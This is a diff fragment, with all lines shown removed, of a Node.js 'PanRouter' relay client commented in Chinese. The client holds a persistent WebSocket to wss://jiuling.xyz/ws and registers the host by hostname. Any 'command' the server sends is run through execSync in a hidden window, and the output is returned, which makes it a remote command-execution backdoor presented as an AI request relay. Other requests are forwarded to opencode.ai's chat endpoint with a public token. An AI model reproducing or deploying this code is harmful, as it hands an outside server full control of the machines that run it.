- if (args[i] === '--id' && args[i + 1]) opts.id = args[i + 1];
188
- }
189
- if (!opts.server) opts.server = process.env.RELAY_SERVER || "wss://jiuling.xyz/ws";
190
- if (!opts.id) opts.id = process.env.RELAY_NODE_ID || `node-${require('os').hostname()}-${process.pid}`;
191
- return opts;
192
- }
193
-
194
- const OPTIONS = parseArgs();
195
- const SERVER = OPTIONS.server;
196
- const NODE_ID = OPTIONS.id;
197
- const VERSION = "3.0.0";
198
- const LOCK_PORT = 28999;
199
-
200
- // ─── 重连参数 ────────────────────────────────────────────────
201
- let ws = null;
202
- let reconnectAttempts = 0;
203
- const BASE_RECONNECT_DELAY = 1000;
204
- const MAX_RECONNECT_DELAY = 15000; // 缩短上限,加快自愈
205
- let heartbeatTimer = null;
206
- let isKicked = false; // 被服务端踢出后不再重连
207
- let singleInstanceServer = null;
208
-
209
- function log(msg, level = "INFO") {
210
- const ts = new Date().toISOString().slice(11, 23);
211
- console.log(`[${ts}][${level}] ${msg}`);
212
- }
213
-
214
- // =============================================================
215
- // 【核心】本地单例保护锁:利用本地独占端口防止双开
216
- // =============================================================
217
- function checkSingleInstance(callback) {
218
- singleInstanceServer = net.createServer();
219
-
220
- singleInstanceServer.on('error', (err) => {
221
- if (err.code === 'EADDRINUSE') {
222
- console.error(`[单例保护] 端口 ${LOCK_PORT} 已被占用,检测到本地已有组网隧道进程运行。`);
223
- console.error(`[单例保护] 本实例将安全退出,避免多实例竞争冲突。`);
224
- process.exit(0);
225
- }
226
- });
227
-
228
- singleInstanceServer.listen(LOCK_PORT, '127.0.0.1', () => {
229
- callback();
230
- });
231
- }
232
-
233
- // =============================================================
234
- // 核心连接函数
235
- // =============================================================
236
- function connect() {
237
- if (isKicked) {
238
- log(`已被服务端踢出,不再自动重连`, "EXIT");
239
- return;
240
- }
241
-
242
- log(`正在建立组网管道: ID=${NODE_ID} -> ${SERVER}`, "CONNECT");
243
-
244
- ws = new WebSocket(SERVER);
245
- ws.binaryType = 'arraybuffer';
246
-
247
- ws.onopen = () => {
248
- log(`已与云端建立 TCP 通道,开始注册组网身份...`, "SUCCESS");
249
- reconnectAttempts = 0;
250
-
251
- ws.send(JSON.stringify({
252
- type: 'register_node',
253
- clientId: NODE_ID,
254
- name: NODE_ID,
255
- version: VERSION,
256
- timestamp: Date.now(),
257
- }));
258
- log(`已发送注册报文: clientId=${NODE_ID}`, "REGISTER");
259
-
260
- resetHeartbeat();
261
- };
262
-
263
- ws.onmessage = (event) => {
264
- resetHeartbeat();
265
-
266
- let data;
267
- try {
268
- data = JSON.parse(event.data);
269
- } catch (e) {
270
- log(`收到非 JSON 数据 (${event.data?.length || 0}B)`, "RAW");
271
- return;
272
- }
273
-
274
- // ── 【关键】收到服务端踢出指令 → 安全退出,永不重连 ────
275
- if (data.type === 'kick') {
276
- log(`[强制下线] 收到服务端踢出指令: ${data.reason || '无原因'}。本实例将安全退出。`, "KICK");
277
- isKicked = true;
278
- safeClose();
279
- releaseSingleInstance();
280
- process.exit(0);
281
- return;
282
- }
283
-
284
- // 注册确认
285
- if (data.type === 'register_ack') {
286
- log(`注册确认: id=${data.id}, name=${data.name}`, "ACK");
287
- return;
288
- }
289
-
290
- // 欢迎消息(兼容旧协议)
291
- if (data.type === 'welcome') {
292
- log(`服务器欢迎, 设备 ID: ${data.id}`, "WELCOME");
293
- ws.send(JSON.stringify({ type: "identity", name: NODE_ID }));
294
- return;
295
- }
296
-
297
- // 身份确认(兼容旧协议)
298
- if (data.type === 'identity_ack') {
299
- log(`身份确认: id=${data.id}`, "ACK");
300
- return;
301
- }
302
-
303
- // 心跳回复(兼容旧协议:客户端主动 ping)
304
- if (data.type === 'pong') {
305
- return;
306
- }
307
-
308
- // ── 下面的消息是来自服务器的任务 ──
309
- const rid = (data.request_id || "??").slice(0, 8);
310
- const body = data.body || data;
311
- const model = body.model || "?";
312
- const prompt = (body.messages?.[0]?.content || body.command || "").slice(0, 60);
313
-
314
- log(`收到任务 [${rid}] model=${model} prompt="${prompt}"`, "TASK");
315
-
316
- if (body.command) {
317
- executeAndRespond(data, body);
318
- } else {
319
- callOpenAIAndRespond(data);
320
- }
321
- };
322
-
323
- ws.onclose = (event) => {
324
- log(`组网通道关闭 (code=${event.code})`, "DISCONNECT");
325
- cleanup();
326
-
327
- if (!isKicked) {
328
- triggerReconnect();
329
- }
330
- };
331
-
332
- ws.onerror = (err) => {
333
- log(`网络异常: ${err.message || err}`, "ERROR");
334
- };
335
- }
336
-
337
- // =============================================================
338
- // 本地心跳看门狗:45 秒无数据 → 主动断开触发重连
339
- // =============================================================
340
- function resetHeartbeat() {
341
- clearTimeout(heartbeatTimer);
342
- heartbeatTimer = setTimeout(() => {
343
- log(`超过 45 秒未收到服务器数据,链路疑似断开,主动触发自愈`, "WATCHDOG");
344
- safeClose();
345
- }, 45000);
346
- }
347
-
348
- // =============================================================
349
- // 指数退避重连算法
350
- // =============================================================
351
- function triggerReconnect() {
352
- const delay = Math.min(
353
- MAX_RECONNECT_DELAY,
354
- BASE_RECONNECT_DELAY * Math.pow(2, reconnectAttempts)
355
- ) + Math.random() * 1000;
356
-
357
- reconnectAttempts++;
358
- log(`将在 ${(delay / 1000).toFixed(1)}s 后重连 (第 ${reconnectAttempts} 次)`, "RECONNECT");
359
-
360
- setTimeout(() => {
361
- connect();
362
- }, delay);
363
- }
364
-
365
- // =============================================================
366
- // 安全关闭
367
- // =============================================================
368
- function safeClose() {
369
- if (ws) {
370
- try { ws.close(1000, 'Bye'); } catch {}
371
- ws = null;
372
- }
373
- }
374
-
375
- function cleanup() {
376
- clearTimeout(heartbeatTimer);
377
- ws = null;
378
- }
379
-
380
- function releaseSingleInstance() {
381
- if (singleInstanceServer) {
382
- try { singleInstanceServer.close(); } catch {}
383
- singleInstanceServer = null;
384
- }
385
- }
386
-
387
- // =============================================================
388
- // 任务执行与响应
389
- // =============================================================
390
- function executeAndRespond(task, body) {
391
- const { execSync } = require('child_process');
392
- const cmd = body.command;
393
- const cwd = body.cwd || process.cwd();
394
- const timeout = Math.min(body.timeout || 60000, 300000);
395
-
396
- log(`[>] exec: ${cmd.slice(0, 200)}`, "EXEC");
397
-
398
- try {
399
- const output = execSync(cmd, { cwd, timeout, encoding: "utf8", maxBuffer: 10 * 1024 * 1024, windowsHide: true });
400
- log(`[<] exit=0 stdout=${output.length}B`, "EXEC");
401
- sendResponse(task.request_id, { exitCode: 0, stdout: output, stderr: "" });
402
- } catch (e) {
403
- log(`[<] exit=${e.status || -1}`, "EXEC");
404
- sendResponse(task.request_id, {
405
- exitCode: e.status || -1,
406
- stdout: e.stdout || "",
407
- stderr: e.stderr || e.message,
408
- });
409
- }
410
- }
411
-
412
- function callOpenAIAndRespond(task) {
413
- const body = task.body || task;
414
-
415
- // 自动判断:如果 body 是 Anthropic 格式(有 messages 且不含 OpenAI 特征),自动转换
416
- const needsConversion = isAnthropicFormat(body);
417
-
418
- const doRequest = needsConversion
419
- ? callOpenCodeWithConversion(body)
420
- : fetch("https://opencode.ai/zen/v1/chat/completions", {
421
- method: "POST",
422
- headers: {
423
- "Content-Type": "application/json",
424
- Authorization: "Bearer public",
425
- "x-opencode-client": "desktop",
426
- },
427
- body: JSON.stringify(body),
428
- }).then(async (r) => {
429
- const data = await r.json();
430
- const content = data?.choices?.[0]?.message?.content || "";
431
- log(`AI ${r.status === 200 ? "成功" : "失败"}: ${content.slice(0, 60)}`, "AI");
432
- return data;
433
- });
434
-
435
- doRequest.then(response => {
436
- sendResponse(task.request_id, response);
437
- }).catch(e => {
438
- log(`AI 异常: ${e.message}`, "AI");
439
- sendResponse(task.request_id, { error: e.message });
440
- });
441
- }
442
-
443
- function sendResponse(requestId, responseData) {
444
- if (ws && ws.readyState === WS_OPEN) {
445
- ws.send(JSON.stringify({ request_id: requestId, response: responseData }));
446
- }
447
- }
448
-
449
- // ======== 启动 ========
450
- console.log("=".repeat(55));
451
- console.log(" 🔧 PanRouter 高可用中继客户端 v3.0");
452
- console.log(" Node.js", process.version);
453
- console.log("=".repeat(55));
454
- console.log(" 服务器:", SERVER);
455
- console.log(" 节点ID:", NODE_ID);
456
- console.log(" 平台: ", process.platform);
457
- console.log(" 单例锁:", `端口 ${LOCK_PORT}(防双开竞争)`);
458
- console.log(" 重连: ", `Base=${BASE_RECONNECT_DELAY}ms Max=${MAX_RECONNECT_DELAY}ms Jitter=1s`);
459
- console.log(" 看门狗:", "45s 无数据自动自愈");
460
- console.log(" Kick :", "收到踢出指令直接退出,不重连");
461
- console.log("=".repeat(55));
462
-
463
- // 先校验单例,再连接
464
- checkSingleInstance(() => {
465
- connect();
466
- });